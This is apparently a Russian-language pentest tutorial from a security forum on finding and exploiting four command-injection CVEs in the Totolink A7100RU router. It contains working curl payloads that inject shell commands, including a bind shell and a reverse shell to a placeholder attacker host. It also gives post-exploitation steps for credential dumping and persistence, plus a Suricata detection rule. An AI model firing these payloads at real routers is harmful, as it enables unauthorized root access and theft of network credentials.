Роутер, разломленный пополам, обнажает плату с процессором. Линия разлома светится пурпурно-голубым, на текстолите видна надпись с номером уязвимости.


Четыре CGI-функции в одном роутере, четыре OS Command Injection - каждая с CVSS 4.0 = 8.9 (HIGH). CVE-2026-6112, CVE-2026-6113, CVE-2026-6154, CVE-2026-6155 в Totolink A7100RU 7.4cu.2313_b20191024 сводятся к одному паттерну: параметр из HTTP-запроса попадает в system() без фильтрации. Весь процесс - от скачивания прошивки с сайта вендора до работающего reverse shell - занял один вечер. И это не уникальный случай: CWE-78 (OS Command Injection) сидит на 5-м месте CWE Top 25 Most Dangerous Software Weaknesses 2024 и остаётся одним из самых частых типов дыр в сетевом оборудовании. Ниже - полный pipeline поиска и эксплуатации RCE уязвимостей IoT устройств: методология, инструменты, конкретные команды и где всё это не работает.

IoT hacking методология: место RCE в цепочке атаки​

RCE на embedded-устройстве - не самоцель. В реальных пентестах роутер или IP-камера с удалённым выполнением кода - это точка initial access во внутреннюю сеть. По данным Mandiant M-Trends 2025, эксплуатация уязвимостей (exploits) - самый частый вектор первичного доступа с долей 38%. Когда в scope попадает забытый роутер на периметре, окно от публикации CVE до первого эксплойта сжимается до дней, а среднее время устранения уязвимости в организации, по данным IBM X-Force 2025, - 29 месяцев. Двадцать девять месяцев.... Подробнее - в нашем материале про аппаратный пентест iot устройств.

Kill chain атаки на IoT-устройство раскладывается по MITRE ATT&CK:
  1. Initial Access - Exploit Public-Facing Application (T1190): эксплуатация уязвимости в веб-интерфейсе устройства
  2. Execution - Network Device CLI (T1059.008): выполнение команд через CLI или shell устройства после получения RCE
  3. Persistence - System Firmware (T1542.001): модификация прошивки для закрепления (бэкдор переживает перезагрузку)
  4. Collection - Network Device Configuration Dump (T1602.002): выгрузка конфигурации с Wi-Fi-паролями, VPN-ключами, ACL-правилами
По данным CrowdStrike Global Threat Report 2025, среднее время lateral movement после initial access - 62 минуты (рекорд - 51 секунда). Скомпрометированный IoT-роутер на периметре, который видит и внешнюю, и внутреннюю сеть, - идеальная точка для pivot.

Выбор вектора атаки на IoT-устройство​

Перед тем как лезть в прошивку, стоит определить оптимальный вектор. Decision tree ниже экономит время:

УсловиеВекторИнструмент
Веб-интерфейс доступен, known CVE для моделиExploit Public-Facing Application (T1190)curl, Nuclei, PoC-скрипт
Telnet/SSH открыт, дефолтные credentialsDefault Accounts (T1078.001)Hydra, Medusa
Физический доступ к платеUART/JTAG, дамп flash, анализminicom, OpenOCD, flashrom
Прошивка доступна на сайте вендора, CVE нетFirmware RE, поиск 0-daybinwalk, Ghidra, QEMU
Облачное API устройстваАнализ API (auth bypass, IDOR)Burp Suite, mitmproxy

Для Totolink A7100RU прошивка валялась на сайте вендора, а веб-интерфейс CGI доступен без аутентификации - комбинация четвёртого и первого вариантов. Считай, приглашение.

Поиск уязвимостей прошивки: от извлечения firmware до обнаружения RCE​

1784786388844.webp

Требования к окружению для пентеста встраиваемых систем​

Перед началом работы:
  • ОС: Kali Linux 2024.x+ или Ubuntu 22.04+ (ARM/MIPS-эмуляция через QEMU требует 64-bit host)
  • RAM: минимум 8 ГБ (binwalk + Ghidra одновременно), рекомендуется 16 ГБ при QEMU-эмуляции полной прошивки
  • Зависимости: binwalk v2.3+, Ghidra 11.x+ (NSA), QEMU user-mode для MIPS/ARM, firmwalker
  • Диск: 10+ ГБ свободного места (распакованные SquashFS-образы - 200-500 МБ, но Ghidra-проект с авто-анализом разрастается до нескольких ГБ)
  • Сеть: прошивки стягиваются с сайта вендора, дальше вся работа - offline

Извлечение файловой системы из firmware​

Прошивки бюджетных роутеров - как правило, сжатый образ на базе embedded Linux: SquashFS, JFFS2, CramFS. Binwalk определяет структуру и распаковывает автоматически:
Bash:
binwalk -e firmware_A7100RU.bin
# Типичный вывод для Totolink/TP-Link/D-Link:
#   0x20000  Squashfs filesystem, little endian, version 4.0
# Результат: _firmware_A7100RU.bin.extracted/squashfs-root/
Структура распакованной FS предсказуема для устройств этого класса:
  • /etc - конфигурация, иногда хардкодные пароли (CWE-798). Пример из жизни - CVE-2023-1748 (Nexx Smart Home, CVSS 9.3): захардкоженные MQTT-credentials в мобильном приложении и прошивке позволяли удалённо управлять устройствами
  • /usr/sbin или /usr/bin - бинари демонов: httpd, CGI-обработчики
  • /www или /web - статика веб-интерфейса, JS-файлы с API-эндпоинтами
  • /lib - shared libraries (libc, libssl, иногда кастомные .so)
Firmwalker автоматизирует поиск хардкодных паролей, SSH-ключей, интересных бинарей по распакованной FS. Но для целевого поиска command injection ценнее ручной разбор CGI-обработчиков - именно они принимают HTTP-параметры и передают их в shell.

Статический анализ CGI-бинарей в Ghidra

В Totolink A7100RU (и большинстве бюджетных роутеров на MIPS/ARM) веб-интерфейс обрабатывается через CGI-бинарь - /cgi-bin/cstecgi.cgi. Скомпилированный ELF под MIPS little-endian.

Workflow в Ghidra:
  1. Создать проект, импортировать бинарь - Ghidra определит архитектуру (MIPS:LE:32:default)
  2. Запустить авто-анализ (Auto Analyze -> все опции по умолчанию)
  3. Перейти в Symbol Tree -> Imports, найти вызовы system(), popen(), execve()
  4. Для каждого вызова - backtrack: откуда приходит аргумент? Если из HTTP-параметра (через getParam(), websGetVar() или аналог) без промежуточной валидации - это CWE-78
Ghidra при работе с MIPS-бинарями иногда некорректно разрешает global pointer ($gp), из-за чего часть строковых ссылок теряется. Обходной путь: вручную задать значение $gp для функции через Set Register Values, взяв его из пролога функции. Неприятно, но решаемо.

CVE анализ IoT: Command Injection в CGI-обработчиках Totolink A7100RU​

Все четыре CVE следуют одному анти-паттерну. Копипаста в чистом виде.

CVEФункцияУязвимый аргументCWECVSS 4.0EPSS
CVE-2026-6112setRadvdCfgmaxRtrAdvIntervalCWE-77, CWE-788.9 (HIGH)0.0177, 75.64%
CVE-2026-6113setTtyServiceCfgttyEnableCWE-77, CWE-788.9 (HIGH)0.0180, 76.14%
CVE-2026-6154setWizardCfgwizardCWE-77, CWE-788.9 (HIGH)0.0182, 76.42%
CVE-2026-6155setWanCfgpppoeServiceNameCWE-77, CWE-788.9 (HIGH)0.0180, 76.14%

Ключевые компоненты CVSS-вектора (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N):
  • AV:N - атака по сети, физический доступ не нужен
  • AC:L - низкая сложность эксплуатации
  • PR:N - привилегии не требуются (аутентификация на CGI-эндпоинте отсутствует)
  • UI:N - действия пользователя не нужны
Каждая CVE затрагивает обе CWE: CWE-77 (Command Injection) - класс уязвимости на уровне формирования команды, и CWE-78 (OS Command Injection) - конкретная реализация через shell-интерпретатор ОС. Обе имеют статус Likelihood: High по классификации MITRE.

Уязвимый паттерн кода​

В декомпилированном Ghidra-коде каждая из четырёх функций выглядит структурно одинаково:
C:
// Пример для демонстрации концепции (CVE-2026-6112)
void setRadvdCfg(HttpRequest *req) {
    char cmd[256];
    char *interval = getParam(req, "maxRtrAdvInterval");
    // Валидация interval отсутствует - вообще никакой
    sprintf(cmd, "radvd_set --max-interval %s", interval);
    system(cmd);  // -> OS Command Injection (CWE-78)
}
Суть: значение maxRtrAdvInterval из HTTP-запроса подставляется в строку команды через sprintf() без санитизации. Передача ; id или $(whoami) вместо числового значения приводит к выполнению произвольной команды с привилегиями процесса - на IoT-устройствах это почти всегда root, потому что разделение привилегий в бюджетных прошивках отсутствует как класс.

Тот же sprintf() + system() без фильтрации повторяется в setTtyServiceCfg (аргумент ttyEnable), setWizardCfg (wizard) и setWanCfg (pppoeServiceName). Четыре точки инъекции в одном бинаре - результат копирования паттерна без ревью безопасности. Кто-то написал один раз, скопировал четырежды, и никто не проверил.

Предусловия и контекст применения​

Работает если:
  • Прошивка Totolink A7100RU версии 7.4cu.2313_b20191024 (CVE-2026-6112/6113/6154) или 7.4cu.2313 (CVE-2026-6155)
  • Веб-интерфейс CGI доступен по сети (порт 80/443)
  • Аутентификация на CGI-эндпоинте /cgi-bin/cstecgi.cgi не требуется или обойдена
Не работает если:
  • Вендор выпустил патч с валидацией входных данных (проверить актуальную прошивку на сайте Totolink)
  • Перед устройством стоит WAF или reverse proxy, фильтрующий спецсимволы (;, |, $(), обратные кавычки) в HTTP-параметрах
  • CGI-бинарь перекомпилирован с FORTIFY_SOURCE и snprintf вместо sprintf (маловероятно для этого класса устройств, но мало ли)
[Применимо: внешний пентест - если веб-интерфейс роутера экспонирован в интернет; внутренний пентест - устройство в LAN; legacy-инфраструктура - бюджетные SOHO-роутеры без обновлений]

IoT RCE эксплуатация: от инъекции команды до reverse shell​

1784786427198.webp

Имея четыре точки инъекции, эксплуатация сводится к формированию HTTP-запроса с payload в уязвимом параметре. Пример для CVE-2026-6112:
Bash:
# Пример для демонстрации концепции
# Шаг 1: верификация инъекции (универсальный payload)
curl -s "http://<target>/cgi-bin/cstecgi.cgi" -d '{"topicurl":"setRadvdCfg","maxRtrAdvInterval":"60;id > /tmp/pwn"}'
# Шаг 2: bind shell (устройство слушает; работает только при прямом доступе, обычно LAN-сценарий)
# busybox nc -e требует CONFIG_NC_EXTRA при компиляции BusyBox - часто отключено
curl -s "http://<target>/cgi-bin/cstecgi.cgi" -d '{"topicurl":"setRadvdCfg","maxRtrAdvInterval":"60;busybox nc -lp 4444 -e /bin/sh"}'
# Подключение: nc <target> 4444 -> root shell
# Шаг 2 (альтернатива): reverse shell (предпочтителен когда target за NAT)
curl -s "http://<target>/cgi-bin/cstecgi.cgi" -d '{"topicurl":"setRadvdCfg","maxRtrAdvInterval":"60;mkfifo /tmp/p; cat /tmp/p | /bin/sh 2>&1 | busybox nc <attacker_ip> <port> > /tmp/p"}'
# mkfifo-вариант - fallback когда nc -e недоступен;
# реальный payload зависит от сборки BusyBox - тестируйте несколько вариантов
На MIPS-устройствах с busybox (а это типично для бюджетных роутеров на базе OpenWrt/busybox) для reverse shell используется busybox nc <attacker_ip> <port> -e /bin/sh - но флаг -e требует CONFIG_NC_EXTRA при компиляции BusyBox и часто отсутствует. Альтернатива - двухканальный вариант через mkfifo: mkfifo /tmp/p; cat /tmp/p | /bin/sh 2>&1 | busybox nc <attacker_ip> <port> > /tmp/p. Bind shell (nc -lp <port> -e /bin/sh) работает только при прямом сетевом доступе к устройству (LAN-сценарий), NAT/firewall на WAN-стороне блокирует входящие. Если netcat отсутствует - есть вариант через /dev/tcp (не устройство в файловой системе, а встроенный redirect handler bash; требует именно bash на устройстве, а на MIPS SOHO с BusyBox ash его обычно нет) или скачивание statically-linked MIPS-бинаря ncat через wget.

Место в цепочке атаки: что делать после шелла​

Root shell на IoT-устройстве получен. Дальше:
  1. Collection (T1602.002): cat /etc/config/* и nvram show - Wi-Fi пароли, VPN-ключи, PPTP/L2TP credentials, правила файрвола, иногда учётные данные к upstream-системам (RADIUS, LDAP). На одном проекте из nvram вытащили пароль от RADIUS, который оказался тем же паролем доменного админа. Классика.
  2. Pivot / Lateral movement: роутер на периметре видит и внешнюю, и внутреннюю подсеть - через ip route и arp -a определяется топология, дальше - проксирование трафика через устройство
  3. Persistence (T1542.001): при необходимости - запись в /etc/init.d/ скрипта автозагрузки, который восстанавливает обратное соединение после перезагрузки. На части устройств возможна модификация flash-памяти для полной персистентности через обновление

Ограничения embedded exploit техник и детектирование​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Totolink CVE технически проще (одна уязвимость, не цепочка из двух), но целевая аудитория - домашние сети и малый бизнес, где мониторинг и патч-менеджмент минимальны. Никто не обновляет прошивку на домашнем роутере. Никто.

Детектирование на стороне защиты​

Обнаружение command injection на IoT-устройствах осложнено тем, что сами устройства не имеют ни антивируса, ни логирования, ни EDR-агента. Что реально может сделать blue team:
  • Сетевой мониторинг: IDS/IPS на upstream-устройстве, детектирующий спецсимволы (;, |, $(), обратные кавычки) в HTTP-параметрах к CGI-эндпоинтам. Пример Suricata-правила с sticky buffers: alert http any any -> $HOME_NET any (msg:"Totolink CGI cmd injection attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/cgi-bin/cstecgi.cgi"; http.request_body; pcre:"/[;|$()]/"; sid:1000001; rev:1;) Snort/Suricata с кастомными правилами под конкретный вендор - пожалуй, самый реалистичный вариант
  • Nuclei-шаблоны: автоматизированная проверка CVE в рамках asset discovery - шаблоны для Ivanti CVE публично доступны, для Totolink CVE создаются на основе PoC
  • Shodan/Censys мониторинг: отслеживание экспонированных веб-интерфейсов IoT на периметре организации - регулярный скан выявляет забытые устройства до того, как их найдёт атакующий
В SigmaHQ для T1190 (Exploit Public-Facing Application) доступно 153 правила, но они ориентированы на серверные приложения (JNDI exploit, SQL injection, SSH brute force). Кастомные Sigma-правила для IoT CGI-эндпоинтов - задача, требующая fingerprinting конкретных моделей на сети. Готовых решений нет.

Четыре CVE в одном роутере, одна и та же ошибка - system() без санитизации - скопированная в четыре функции. Не сложная уязвимость. Базовая ошибка, которую выявил бы любой SAST-инструмент, если бы вендор потрудился его запустить. В этом и суть проблемы с безопасностью IoT: дело не в хитроумных эксплойтах и не в resource constraints, а в полном отсутствии процессов безопасной разработки у производителей бюджетного сетевого оборудования.

По данным IBM X-Force, среднее время между публикацией CVE и устранением в организации - 29 месяцев. Для enterprise-оборудования (Cisco, Ivanti, Fortinet) патчи хотя бы выходят - пусть и с задержкой, и с обязательным предписанием CISA. Для Totolink, TP-Link старых моделей, десятков no-name брендов - прошивка, установленная на заводе, часто остаётся единственной за весь lifecycle устройства.

Мой прогноз на ближайшие два года: supply chain-атаки через embedded-библиотеки типа FatFs (множество CVE, потенциально широкий охват затронутых устройств, upstream-патчи зачастую отсутствуют) станут серьёзнее, чем CVE в самих устройствах. Когда одна библиотека затрагивает ESP-IDF, STM32Cube, Zephyr RTOS и MicroPython одновременно - патчить некому, каждый вендор сам за себя. Пока пентестеры продолжают находить sprintf() + system()` в каждом втором бюджетном роутере, реальная угроза сдвигается глубже - в компоненты, которые никто не аудитирует. Если хочется проверить, как command injection работает в embedded-контексте - на HackerLab (https://hackerlab.pro) есть таски в категории pwn, где подобные примитивы нужно собрать в рабочий эксплойт самостоятельно.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab